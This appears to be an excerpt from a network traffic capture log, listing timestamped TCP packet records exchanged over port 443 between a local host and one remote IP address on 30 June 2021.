Jun 30, 2021 20:06:09.244751930 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.244775057 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.244775057 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.244793892 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.244813919 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.244828939 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.244836092 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.244856119 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.244860888 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.244884014 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.244904995 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.244905949 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.244911909 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.244925976 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.244939089 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.244946003 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.244965076 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.244970083 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.244986057 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.245007992 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.245014906 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.245031118 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.245043993 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.245053053 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.245074034 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.245076895 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.245094061 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.245114088 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.245116949 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.245136976 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.245150089 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.245157957 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.245179892 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.245187998 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.245203972 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.245219946 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.245224953 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.245243073 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.245246887 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.245266914 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.245287895 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.245301008 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.245307922 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.245327950 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.245348930 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.245348930 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.245373011 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.245374918 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.245394945 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.245404959 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.245414019 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.245436907 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.245441914 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.245456934 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.245476961 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.245477915 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.245498896 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.245518923 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.245542049 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.245553017 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.245563030 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.245579958 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.245584011 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.245605946 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.245609045 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.245626926 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.245647907 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.245650053 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.245668888 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.245683908 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.245690107 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.245708942 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.245716095 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.245737076 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.245747089 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.245757103 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.245776892 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.245796919 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.245806932 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.245815992 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.245816946 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.245839119 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.245858908 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.245868921 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.245883942 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.245908976 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.245934963 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.245944977 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.245970011 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.245990992 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.245991945 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.246012926 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.246032000 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.246032000 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.246052980 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.246071100 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.246074915 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.246095896 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.246130943 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.246212959 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.246258020 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.255608082 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.255659103 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.255682945 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.255703926 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.255723953 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.255743980 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.255764961 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.255784988 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.255784988 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.255808115 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.255831957 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.255846024 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.255856991 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.255875111 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.255877018 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.255898952 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.255920887 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.255943060 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.255944014 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.255966902 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.255989075 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.256000042 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.256011963 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.256033897 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.256033897 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.256056070 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.256062031 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.256076097 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.256097078 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.256100893 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.256117105 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.256141901 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.256144047 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.256165981 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.256174088 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.256191015 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.256212950 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.256213903 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.256236076 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.256242990 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.256258011 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.256279945 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.256283045 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.256300926 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.256320953 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.256321907 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.256345034 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.256366968 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.256388903 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.256391048 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.256412983 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.256416082 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.256436110 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.256438971 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.256464005 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.256465912 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.256488085 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.256500006 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.256511927 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.256535053 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.256542921 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.256556034 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.256577015 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.256577969 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.256602049 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.256623983 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.256639957 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.256659985 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.256685972 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.256688118 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.256695032 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.256712914 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.256722927 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.256738901 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.256742954 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.256762981 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.256769896 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.256787062 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.256813049 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.256813049 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.256839037 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.256845951 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.256863117 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.256886959 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.256890059 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.256911039 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.256930113 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.256948948 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.256968975 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.256979942 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.256985903 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.256993055 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.257014036 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.257033110 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.257035017 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.257057905 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.257076025 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.257082939 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.257097006 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.257106066 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.257128954 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.257148981 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.257153988 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.257179022 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.257180929 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.257203102 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.257206917 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.257225037 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.257250071 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.257261992 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.257277966 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.257280111 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.257298946 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.257314920 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.257365942 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.257390022 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.257432938 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.257488966 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.257514000 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.257549047 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.257565975 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.257680893 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.257729053 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.257782936 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.257827997 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.257910967 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.257982016 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.258001089 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.258039951 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.258109093 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.258169889 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.258347988 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.258377075 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.258439064 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.258447886 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.258483887 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.258523941 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.258563995 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.258605003 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.258723974 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.258749962 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.258774042 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.258780003 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.258796930 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.258800030 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.258822918 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.258825064 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.258852005 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.258852005 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.258874893 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.258877993 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.258900881 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.258910894 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.258922100 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.258930922 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.258946896 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.258969069 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.258992910 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.258992910 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.259023905 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.259032011 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.259049892 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.259073019 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.259073973 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.259097099 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.259099960 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.259141922 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.259166002 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.259187937 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.259210110 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.259231091 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.259251118 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.259274006 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.259293079 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.259299994 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.259305954 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.259321928 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.259344101 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.259366989 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.259391069 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.259402037 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.259413958 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.259434938 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.259438992 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.259464025 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.259466887 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.259486914 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.259496927 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.259510040 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.259532928 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.259532928 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.259553909 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.259573936 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.259577990 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.259598970 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.259607077 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.259619951 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.259643078 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.259646893 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.259665012 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.259685993 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.259686947 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.259707928 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.259712934 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.259737015 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.259738922 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.259758949 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.259763956 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.259780884 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.259802103 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.259804010 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.259831905 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.259831905 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.259854078 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.259875059 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.259876966 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.259900093 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.259908915 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.259922028 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.259943962 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.259946108 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.259972095 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.259980917 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.259995937 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.260020971 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.260024071 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.260049105 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.260052919 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.260071993 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.260093927 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.260094881 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.260117054 CEST	443	49720	212.2.198.90	192.168.2.3
